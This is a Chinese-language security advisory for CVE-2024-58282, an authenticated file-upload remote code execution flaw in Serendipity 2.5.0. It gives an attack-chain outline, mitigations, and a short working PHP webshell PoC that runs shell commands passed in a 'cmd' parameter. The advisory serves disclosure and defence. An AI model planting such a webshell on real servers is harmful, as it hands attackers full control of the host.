IPBUF安全漏洞报告
English
CVE-2024-58282 CVSS 7.2 高危

CVE-2024-58282 Serendipity 2.5.0 认证管理员远程代码执行漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2024-58282
漏洞类型
远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Serendipity

相关标签

远程代码执行文件上传SerendipityCVE-2024-58282高危漏洞WebShell认证绕过

漏洞概述

CVE-2024-58282是Serendipity 2.5.0版本中的一个高危远程代码执行漏洞。该漏洞允许已认证的管理员通过媒体上传功能上传恶意PHP文件,从而在Web服务器上执行任意系统命令。Serendipity是一款流行的开源博客平台,其媒体管理功能缺乏足够的文件类型验证和安全检查。攻击者只需获取管理员账户权限,即可利用此漏洞绕过服务器安全限制,实现对目标系统的完全控制。此漏洞的CVSS评分为7.2,属于高危级别,对系统的机密性、完整性和可用性均造成严重影响。

技术细节

该漏洞存在于Serendipity 2.5.0的媒体上传功能中。攻击者以管理员身份登录后,可通过博客后台的媒体上传接口上传包含恶意PHP代码的文件。由于系统未对上传文件的扩展名和内容进行严格过滤,攻击者可以上传.php后缀的WebShell文件。上传成功后,攻击者通过访问该文件路径即可触发恶意代码执行,从而在服务器上执行任意系统命令。攻击者通常会创建一个包含system()或exec()函数的PHP文件,通过GET/POST参数接收并执行系统命令。此漏洞的利用需要管理员级别的高权限,但无需用户交互即可完成攻击。

攻击链分析

STEP 1
步骤1
攻击者获取Serendipity管理员账户凭据
STEP 2
步骤2
使用管理员身份登录Serendipity后台管理系统
STEP 3
步骤3
导航至媒体上传功能页面
STEP 4
步骤4
创建包含恶意PHP代码的WebShell文件(如cmd.php)
STEP 5
步骤5
通过媒体上传功能上传恶意PHP文件
STEP 6
步骤6
访问上传的PHP文件路径以触发代码执行
STEP 7
步骤7
通过WebShell在服务器上执行任意系统命令

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2024-58282 PoC - Serendipity RCE via Media Upload // Target: Serendipity 2.5.0 // Requirements: Admin authentication if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['cmd'])) { $cmd = $_GET['cmd']; // Execute system command and return output echo "<pre>"; system($cmd); echo "</pre>"; } else { // WebShell access point echo '<form method="GET">'; echo '<input type="text" name="cmd" placeholder="Enter command">'; echo '<input type="submit">'; echo '</form>'; } ?>

影响范围

Serendipity 2.5.0

防御指南

临时缓解措施
临时缓解措施:1) 禁用或限制媒体上传功能的使用;2) 对上传目录设置禁止PHP执行权限(通过.htaccess或nginx配置);3) 实施严格的文件类型白名单机制;4) 监控和审计管理员操作日志;5) 考虑使用第三方文件上传安全组件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表